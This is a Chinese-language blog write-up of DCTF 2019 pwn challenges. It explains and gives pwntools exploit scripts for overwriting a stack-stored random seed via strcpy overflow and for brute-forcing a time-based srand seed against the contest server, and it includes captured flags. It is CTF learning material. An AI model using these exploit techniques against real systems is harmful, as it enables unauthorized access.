本文最后更新于:星期日, 三月 31日 2019, 11:54 晚上
这个比赛我就做出了第一道pwn….C++逆向真的是看到脑壳疼,还有一个pwn题用到了CVE-2018-11235 ….真的是打扰了
lucky
这道题是猜随机数,只是这题目是用C++写的,逆向看的有点难受
因为随机数的seed在栈上,加上它在输入name时,用了strcpy函数,没有限制输入的长度,所以可以覆盖seed的值为0x61616161。加上它在输入名字后又srand了一次,所以seed就被我们控制了,产生的随机数也就是确定的。
ida反编译看到的代码是长这样的
生成随机数的源码
#include <stdlib.h>
#include <stdio.h>
int main(){
srand(0x61616161);
for(int i=0;i<100;i++){
printf("%d\n",rand());
}
return 0;
}
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./lucky')
elf = ELF('./lucky')
libc = elf.libc
else:
host = '167.99.143.206'
port = '65031'
p = remote(host,port)
elf = ELF('./lucky')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
fp = open('random.txt')
l = []
for i in fp:
l.append(i)
rc()
sl('a'*0x2c4)
for i in range(100):
rc()
sd(l[i])
rc()
print rc()#DCTF{8adadb46b599a58344559e009bc167da7f0e65e64167c27d3192e8b6df073eaa}
p.interactive()
more lucky
这题比赛时没做出来,它也是和随机数有关的,但是它没有lucky的漏洞,不能覆盖栈上的seed。
先简单分析下文件,ida反编译出来的代码长这样
拖进编辑器里修改成能看版:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { times = time(0LL); srand(times / 10); cout<<"Hello, there!"<<endl; cout<<"What is your name?"<<endl; cin.getline(&name); sub_2033(&v28, times / 10000, times / 10000, times, v6, v7); serv_time = v28; cout<<"I am glad to know you, "<<name<<"!"<<endl; cout<<"Server time: "<<serv_time<<endl; cout<<"If you guess the next 100 random numbers I shall give you the flag!"<<endl; for ( i = 0; i <= 99; ++i ) { v30 = rand(); cout<<"What number am I thinking of? ["<<i<<"/100]"<<endl; cin>>buf; v29 = sub_1FE9(&buf, 0LL, 10LL); if ( v29 != v30 ) { cout<<"Wow that is wrong!"<<endl; return -1 } cout<<"Wow that is corect!"<<endl; } ifs = ifstream("./flag2"); if ( is_open(ifs) ) { ifs.getline(flag); cout << flag << endl; ifs.close(); } return 0; }
这题和lucky的不同在于它使用的srand(time/10)来做随机数的种子,并且它将 time/10000打印出来了。
程序先根据time(0)生成服务器时间,然后srand(times/10)来设置seed的值。用户输入name后,将times/10000打印出来。而且它没有再次srand(),所以需要找到seed的值。这里它使用srand(times/10)来初始化seed值,并且只有最后三位是未知的。因为time(0)返回以秒为单位的时间,它用times/10来做srand()的参数,最后三位数每隔十秒增加一次,这使得它很容易受到暴力攻击。
根据大佬的writeup,暴力猜它服务器的时间,猜对的可能性为1/1000,所以写脚本暴力跑
生成随机数的c代码:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int seed = atoi(argv[1]);
srand(seed);
for (int i = 0; i < 100; i++) {
printf("%d\n", rand());
}
return 0;
}
exp:
#!/usr/bin/env python
from pwn import *
import subprocess
local = 1
if local:
p = process('./lucky2')
elf = ELF('./lucky2')
libc = elf.libc
else:
host = '167.99.143.206'
port = '65032'
p = remote(host,port)
elf = ELF('./lucky2')
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
times = 153778000
for i in range(1000):
times += 1
print"times-->[{}]".format(times)
p = remote("167.99.143.206", 65032)
rc()
sl('aaaa')
number = subprocess.check_output(["./rand1", str(times)]).split('\n')
try:
for i in range(100):
ru("100]")
sl(number[i])
p.interactive()
#DCTF{2e7aaa899a8b212ea6ebda3112d24559f2d2c540a9a29b1b47477ae8e5f20ace}
except EOFError:
pass
Online linter
这就是那道用到了CVE的题目,orz , drl。以后再研究吧
贴下大佬writeup的地址 writeup
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!